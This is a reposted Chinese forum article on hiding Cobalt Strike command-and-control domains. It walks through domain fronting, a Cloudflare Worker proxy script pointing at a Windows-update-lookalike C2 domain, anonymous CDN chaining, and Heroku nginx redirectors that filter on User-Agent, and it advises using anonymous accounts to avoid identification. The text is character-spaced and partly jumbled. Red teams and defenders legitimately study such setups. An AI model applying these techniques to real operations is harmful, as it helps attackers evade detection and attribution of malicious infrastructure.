搜索

[18581] 2021-06-21_实战填坑隐藏C2域名地址技巧

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-21_实战填坑隐藏C2域名地址技巧 实 战 填 坑   |   隐 藏 C 2 域 名 地 址 技 巧 原 创   伞   H A C K 学 习 呀   2 0 2 1 - 0 6 - 2 1 收 录 于 话 题 # 实 战 渗 透   , 3 # 实 战 填 坑   , 1 # C o b a l t S t r i k e   , 1 # 红 队 攻 防   , 2 声 明 ： 本 文 仅 做 技 术 分 享 ， 图 片 结 果 均 为 网 络 分 享 图 片 ， 请 各 位 看 后 遵 守 《 网 络 安 全 法 》 ， 在 授 权 前 提 下 进 行 渗 透 测 试 ， 学 习 本 文 技 巧 所 有 产 生 后 果 与 笔 者 无 关 。 一 、 简 介 一 、 简 介 各 位 表 哥 在 日 常 渗 透 中 有 没 有 遇 到 过 被 情 报 的 场 景 ， 例 如 ： 再 例 如 ： 哈 ， 恭 喜 你 你 肯 定 被 盯 上 了 ~ 开 个 玩 笑 ， 话 说 现 在 隐 藏 c 2 真 实 地 址 的 手 段 层 出 不 穷 ， 笔 者 参 考 了 网 上 众 多 隐 藏 技 巧 ， 经 过 一 定 的 钻 研 写 下 了 这 篇 主 要 隐 藏 域 名 的 几 个 思 路 ， 但 和 域 前 置 、 云 函 数 技 术 不 同 ， 域 前 置 技 术 原 理 ：
假 设 有 两 个 主 机 ， 域 名 分 别 为 w w w . a . c o m 与 w w w . b . c o m 。 这 两 个 主 机 都 是 被 i p 为 1 . 1 . 1 . 1 的 c d n 进 行 加 速 的 。 这 时 候 使 用 c u r l 命 令 请 求 c d n   1 . 1 . 1 . 1 ， 并 自 定 义 h o s t 段 为 w w w . b . c o m 的 话 。 就 会 返 回 w w w . b . c o m 的 页 面 。 命 令 为 ： 同 理 请 求 同 样 的 c d n ， 但 是 将 h o s t 改 为 w w w . a . c o m , 这 时 候 就 会 返 回 A 页 面 的 信 息 。 如 果 将 c u r l   后 请 求 的 i p 改 为   w w w . a . c o m ,   h o s t   改 为   w w w . b . c o m 。 命 令 为 ： 上 述 命 令 还 是 显 示 的 是 w w w . b . c o m 的 页 面 , 所 以 最 终 请 求 的 还 是 w w w . b . c o m 。 所 以 ， 域 前 置 技 术 的 核 心 基 础 设 施 是 c d n 。 （ 参 考 链 接 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 8 7 4 9 3 0 / a r t i c l e / d e t a i l s / 1 0 7 7 4 2 8 4 3 ） 云 函 数 技 术 ： 腾 讯 云 你 不 得 认 证 啊 ？ 虽 然 说 认 证 后 除 非 犯 了 大 事 才 找 你 ， 但 法 网 恢 恢 疏 而 不 漏 … … 本 文 思 路 不 依 赖 对 C D N 服 务 商 解 析 的 重 定 向 ， 而 是 基 于 正 常 域 名 分 发 子 域 名 的 伪 装 ： 注 册 匿 名 账 户 ， 使 用 该 机 构 提 供 的 代 理 服 注 册 匿 名 账 户 ， 使 用 该 机 构 提 供 的 代 理 服 务 将 流 量 代 理 到 你 的 真 实 域 名 ， 匿 名 ， 匿 名 ， 匿 名 ， 务 将 流 量 代 理 到 你 的 真 实 域 名 ， 匿 名 ， 匿 名 ， 匿 名 ， 毕 竟 认 证 的 事 咱 没 干 过 （ 手 动 狗 头 ） 。 文 章 域 名 以 w i n u p d a t e c k . t o p 为 例 ， 申 请 过 程 不 再 分 享 ， 不 是 此 篇 重 点 。 二 、 二 、 C D N - w o r k e r 伪 装 伪 装 好 多 大 佬 拿 这 个 技 巧 和 域 前 置 类 比 ， 我 就 不 多 废 话 ， 网 上 教 程 有 不 少 ： c u r l   1 . 1 . 1 . 1   - H   " H o s t :   w w w . b . c o m "   - v C u r l   w w w . a . c o m   - H   " H o s t :   w w w . b . c o m "   - v
建 立 w o r k e r 子 域 ： 使 用 j s 代 码 转 发 请 求 （ 本 人 测 试 多 个 j s 代 码 ， 这 个 比 较 靠 谱 ， 所 有 内 容 都 正 常 ） ： l e t   u p s t r e a m   =   '   h t t p : / / w w w . w i n u p d a t e c k . t o p ' a d d E v e n t L i s t e n e r ( ' f e t c h ' ,   e v e n t   = >   { e v e n t . r e s p o n d W i t h ( f e t c h A n d A p p l y ( e v e n t . r e q u e s t ) ) ; } ) a s y n c   f u n c t i o n   f e t c h A n d A p p l y ( r e q u e s t )   { c o n s t   i p A d d r e s s   =   r e q u e s t . h e a d e r s . g e t ( ' c f - c o n n e c t i n g - i p ' )   | |   ' ' ; l e t   r e q u e s t U R L   =   n e w   U R L ( r e q u e s t . u r l ) ; l e t   u p s t r e a m U R L   =   n e w   U R L ( u p s t r e a m ) ; r e q u e s t U R L . p r o t o c o l   =   u p s t r e a m U R L . p r o t o c o l ;
其 中 l e t   u p s t r e a m   =   '   h t t p : / / w w w . w i n u p d a t e c k . t o p ' 的 h t t p 协 议 可 以 根 据 实 际 l i s t e n e r 改 变 。 上 线 效 果 就 不 多 说 了 ， 主 要 在 代 码 ， 优 点 是 可 自 由 切 换 h t t p s / h t t p 协 议 ， * . * . w o r k e r . d e v 域 名 可 以 自 己 增 减 。 三 、 匿 名 C D N   &   w o r k e r 有 老 哥 问 了 ， 要 是 多 个 c 2 ， 还 有 域 名 、 c 2 的 i p 在 国 内 使 用 ， 怎 么 办 ？ 使 用 w o r k e r 代 理 一 个 子 域 名 可 行 ， 但 你 的 i p 一 旦 关 联 域 名 就 要 涉 及 备 案 … （ 奉 劝 各 位 老 老 实 实 备 案 ， 咳 咳 ， 嗯 ， 要 做 遵 纪 守 法 好 公 民 ） r e q u e s t U R L . p r o t o c o l   =   u p s t r e a m U R L . p r o t o c o l ; r e q u e s t U R L . h o s t   =   u p s t r e a m U R L . h o s t ; r e q u e s t U R L . p a t h n a m e   =   u p s t r e a m U R L . p a t h n a m e   +   r e q u e s t U R L . p a t h n a m e ; l e t   n e w _ r e q u e s t _ h e a d e r s   =   n e w   H e a d e r s ( r e q u e s t . h e a d e r s ) ; n e w _ r e q u e s t _ h e a d e r s . s e t ( " X - F o r w a r d e d - F o r " ,   i p A d d r e s s ) ; l e t   f e t c h e d R e s p o n s e   =   a w a i t   f e t c h ( n e w   R e q u e s t ( r e q u e s t U R L ,   { m e t h o d :   r e q u e s t . m e t h o d , h e a d e r s :   n e w _ r e q u e s t _ h e a d e r s , b o d y :   r e q u e s t . b o d y } ) ) ; l e t   m o d i f i e d R e s p o n s e H e a d e r s   =   n e w   H e a d e r s ( f e t c h e d R e s p o n s e . h e a d e r s ) ; m o d i f i e d R e s p o n s e H e a d e r s . d e l e t e ( ' s e t - c o o k i e ' ) ; r e t u r n   n e w   R e s p o n s e ( f e t c h e d R e s p o n s e . b o d y , { h e a d e r s :   m o d i f i e d R e s p o n s e H e a d e r s , s t a t u s :   f e t c h e d R e s p o n s e . s t a t u s , s t a t u s T e x t :   f e t c h e d R e s p o n s e . s t a t u s T e x t } ) ; }
例 如 在 c l o u d f l a r e 添 加 子 域 名 解 析 ： 过 一 会 访 问 会 变 成 ： 要 去 阿 里 人 脸 识 别 ， 做 好 备 案 ： 这 里 的 思 路 是 n o d e c a c h e ：
注 册 一 个 匿 名 账 户 ， 然 后 通 过 邮 件 校 验 ， 然 后 ： 选 择 创 建 服 务 ：
把 你 想 添 加 的 子 域 名 写 进 去 ： 点 击 c n a m e ： 将 内 容 粘 贴 到 你 的 域 名 服 务 商 处 ， 添 加 一 个 c n a m e 记 录 ： 然 后 在 回 源 管 理 处 添 加 你 在 国 内 的 v p s 地 址 ：
其 中 要 选 择 h t t p s 或 h t t p 协 议 要 点 击 协 议 跟 随 的 选 项 ， 才 能 动 态 解 析 两 者 。 最 后 你 会 惊 奇 地 发 现 ， 刚 才 添 加 的 h t t p : / / c m d . w i n u p d a t e c k . t o p 可 以 在 国 内 访 问 了 。 其 实 原 理 是 在 c l o u d f l a r e 添 加 子 域 名 指 向 国 内 是 受 监 管 的 ， 换 一 个 c d n 服 务 商 而 已 。 然 后 重 点 来 了 ， 我 的 目 的 并 不 是 把 c m d . w i n u p d a t e c k . t o p 作 为 c 2   h a n d l e r ， 参 考 上 个 思 路 ， 新 建 w o r k e r ， 把 c m d . w i n u p d a t e c k . t o p 再 隐 藏 在 w o r k e r 之 后 ： … … 这 个 思 路 相 比 于 直 接 c l o u d f l a r e 代 理 根 域 名 有 一 个 缺 点 ： j s 中 设 置 n e w _ r e q u e s t _ h e a d e r s . s e t ( " X - F o r w a r d e d - F o r " ,   i p A d d r e s s ) 没 什 么 用 处 ， 依 然 需 要 在 国 内 这 个 v p s 上 使 用 n g i n x 反 向 代 理 ， 即 在 配 置 文 件 中 添 加 ： 才 可 以 收 到 正 常 的 目 标 外 网 地 址 ， 否 则 为 n o d e c a c h e 的 c d n 节 点 地 址 。 实 测 ： 可 正 常 上 线 l e t   u p s t r e a m   =   '   h t t p : / / c m d . w i n u p d a t e c k . t o p ' a d d E v e n t L i s t e n e r ( ' f e t c h ' ,   e v e n t   = >   { e v e n t . r e s p o n d W i t h ( f e t c h A n d A p p l y ( e v e n t . r e q u e s t ) ) ; } ) l o c a t i o n   /   {         p r o x y _ s e t _ h e a d e r   X - F o r w a r d e d - F o r   $ p r o x y _ a d d _ x _ f o r w a r d e d _ f o r ;         … … }
四 、 反 向 代 理 四 、 反 向 代 理 ( h e r o k u ) 最 后 一 个 思 路 是 建 立 一 个 堡 垒 机 ， 同 样 用 n g i n x 反 向 代 理 ： 两 个 V P S ， 姑 且 称 为 a 和 b ， a 中 搭 建 n g i n x ， 设 置 过 滤 规 则 ， 例 如 H o s t : w w w . b . c o m ， 则 将 请 求 转 发 到 b ： p r o x y _ p a s s   h t t p : / / V P S   b : 8 0 ， 当 然 也 要 使 用 X - F o r w a r d e d - F o r 。 但 这 么 做 比 较 浪 费 ， a 变 黑 了 就 得 换 ， 不 然 还 没 渗 透 呢 都 被 人 给 墙 了 。 这 里 介 绍 一 个 w e b 代 理 服 务 ： h e r o k u ， 可 注 册 匿 名 账 户 ， 从 ， 可 注 册 匿 名 账 户 ， 从 g i t h u b 拉 取 代 码 建 立 网 站 ， 或 者 部 署 拉 取 代 码 建 立 网 站 ， 或 者 部 署 d o c k e r 建 立 建 立 a p p ， 相 当 于 多 个 ， 相 当 于 多 个 随 便 用 的 代 理 随 便 用 的 代 理 V P S 。 。 首 先 注 册 ， 确 认 邮 件 ， 然 后 登 陆 后 确 认 是 否 成 功 ： 然 后 使 用 l i n u x 安 装 d o c k e r 、 g i t 和 h e r o k u   c l i ： 参 考 h t t p s : / / d e v c e n t e r . h e r o k u . c o m / a r t i c l e s / h e r o k u - c l i # d o w n l o a d - a n d - i n s t a l l 在 v p s 中 可 使 用 h e r o k u   l o g i n 确 认 你 的 账 号 ： 这 里 就 有 个 坑 ， 一 般 很 少 人 安 装 l i n u x 的 桌 面 环 境 ， 这 个 应 用 需 要 w e b 浏 览 器 跳 转 连 接 登 陆 ， 然 后 认 证 账 密 。 填 坑 思 路 1 ： 各 位 可 以 安 装 桌 面 后 远 程 + 安 装 浏 览 器 访 问 （ 我 没 用 ） 。 填 坑 思 路 2 ： 将 v p s 流 量 代 理 出 来 ， 使 用 c h i s e l 、 s o c a t 、 或 s s h 隧 道 的 代 理 方 式 ， 再 或 者 f r p 、 n p s 的 内 网 穿 透 ， 或 者 干 脆 写 个 p y 脚 本 代 理 一 下 。 将 本 地 浏 览 器 代 理 设 置 为 你 开 的 s o c k s 或 h t t p 。 ， 然 后 在 上 图 这 个 等 待 界 面 ， 复 制 链 接 到 浏 览 器 打 开 ：
最 后 使 用 账 密 登 录 ： 然 后 l i n u x 本 地 拉 取 一 个 g i t ： 修 改 其 中 d e f a u l t . c o n f . t e m p l a t e ： 其 中 你 的 域 名 地 址 可 以 为 根 域 名 、 子 域 名 、 甚 至 i p 加 端 口 ， 都 可 以 的 啦 ~ 然 后 创 建 a p p ： g i t   c l o n e   h t t p : / / g i t h u b . c o m h e r o k u - d o c k e r - n g i n x - e x a m p l e . g i t c d   h e r o k u - d o c k e r - n g i n x - e x a m p l e s e r v e r   {     l i s t e n   $ P O R T ;     l o c a t i o n   /   {         p r o x y _ s e t _ h e a d e r   X - F o r w a r d e d - F o r   $ p r o x y _ a d d _ x _ f o r w a r d e d _ f o r ;         i f   (   $ h t t p _ u s e r _ a g e n t   =   " M o z i l l a / 1 . 0   ( W i n d o w s   N T   5 . 0 ;   … ) " )         {             p r o x y _ p a s s   h t t p : / / 你 的 域 名 地 址 : 8 0 ;         }         r o o t       / u s r / s h a r e / n g i n x / h t m l ;         i n d e x     i n d e x . h t m l ;     } } h e r o k u   c o n t a i n e r : l o g i n h e r o k u   c r e a t e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理